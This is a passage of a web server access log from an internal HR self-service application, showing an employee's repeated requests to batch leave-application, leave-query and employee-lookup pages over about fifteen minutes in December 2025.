[03/Dec/2025:18:48:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 29602 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:48:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 29602 192.168.12.46 - - [03/Dec/2025:18:48:38 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9013813673994137 HTTP/1.1" 200 18807 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9013813673994137" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:48:38 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9013813673994137 HTTP/1.1" 200 18807 192.168.12.46 - - [03/Dec/2025:18:49:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4223 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:49:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4223 192.168.12.46 - - [03/Dec/2025:18:49:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:49:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:18:50:22 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16378025919094674 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:50:22 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16378025919094674 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:18:50:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16378025919094674 HTTP/1.1" 200 18791 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16378025919094674" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:50:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16378025919094674 HTTP/1.1" 200 18791 192.168.12.46 - - [03/Dec/2025:18:51:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4210 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:51:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4210 192.168.12.46 - - [03/Dec/2025:18:52:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:52:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:18:52:28 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.863706782487495 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:52:28 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.863706782487495 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:18:52:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.863706782487495 HTTP/1.1" 200 18791 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.863706782487495" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:52:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.863706782487495 HTTP/1.1" 200 18791 192.168.12.46 - - [03/Dec/2025:18:52:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4211 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:52:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4211 192.168.12.46 - - [03/Dec/2025:18:53:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:53:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:18:53:43 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3605604311514552 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:53:43 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3605604311514552 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:18:53:49 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3605604311514552 HTTP/1.1" 200 18797 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3605604311514552" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:53:49 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3605604311514552 HTTP/1.1" 200 18797 192.168.12.46 - - [03/Dec/2025:18:54:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:54:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 192.168.12.46 - - [03/Dec/2025:18:54:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:54:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:18:54:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13553365911822957 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:54:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13553365911822957 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:18:54:44 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13553365911822957 HTTP/1.1" 200 18793 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13553365911822957" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:54:44 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13553365911822957 HTTP/1.1" 200 18793 192.168.12.46 - - [03/Dec/2025:18:54:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:54:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 192.168.12.46 - - [03/Dec/2025:18:55:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:55:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:18:55:33 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7623220166584277 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:55:33 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7623220166584277 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:18:55:39 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7623220166584277 HTTP/1.1" 200 18802 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7623220166584277" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:55:39 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7623220166584277 HTTP/1.1" 200 18802 192.168.12.46 - - [03/Dec/2025:18:55:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4220 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:55:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4220 192.168.12.46 - - [03/Dec/2025:18:56:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:56:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:18:56:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3662629710736659 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:56:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3662629710736659 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:18:57:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3662629710736659 HTTP/1.1" 200 18813 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3662629710736659" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:57:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3662629710736659 HTTP/1.1" 200 18813 192.168.12.46 - - [03/Dec/2025:18:57:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4232 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:57:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4232 100.64.0.1 - - [03/Dec/2025:18:57:19 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [03/Dec/2025:18:57:19 +0800] "GET / HTTP/1.1" 200 439 192.168.12.46 - - [03/Dec/2025:18:57:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:57:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:18:58:12 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20260049526721402 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:58:12 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20260049526721402 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:18:58:16 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20260049526721402 HTTP/1.1" 200 18789 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20260049526721402" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:58:16 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20260049526721402 HTTP/1.1" 200 18789 192.168.12.46 - - [03/Dec/2025:18:58:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4205 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:58:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4205 192.168.12.46 - - [03/Dec/2025:18:59:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:59:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:18:59:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40911110565371855 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:59:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40911110565371855 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:18:59:30 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40911110565371855 HTTP/1.1" 200 18813 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40911110565371855" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:59:30 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40911110565371855 HTTP/1.1" 200 18813 100.64.0.1 - - [03/Dec/2025:18:59:35 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [03/Dec/2025:18:59:35 +0800] "GET / HTTP/1.1" 200 439 192.168.12.46 - - [03/Dec/2025:18:59:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4232 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:59:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4232 192.168.12.46 - - [03/Dec/2025:19:00:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:00:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:19:00:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9229823820508014 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:00:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9229823820508014 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:19:00:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9229823820508014 HTTP/1.1" 200 18790 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9229823820508014" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:00:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9229823820508014 HTTP/1.1" 200 18790 192.168.12.46 - - [03/Dec/2025:19:01:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:01:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 192.168.12.46 - - [03/Dec/2025:19:01:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:01:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 192.168.12.46 - - [03/Dec/2025:19:01:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 68022 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:01:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 68022 192.168.12.46 - - [03/Dec/2025:19:01:28 +0800] "GET /eHR/upload/userfile/30626b80bca8bac2c14fe332676170e0.jpg?&openW=Y&rand=0.0868360699874251 HTTP/1.1" 200 718718 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:01:28 +0800] "GET /eHR/upload/userfile/30626b80bca8bac2c14fe332676170e0.jpg?&openW=Y&rand=0.0868360699874251 HTTP/1.1" 200 718718 192.168.12.46 - - [03/Dec/2025:19:01:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:01:58 +0800] "GET 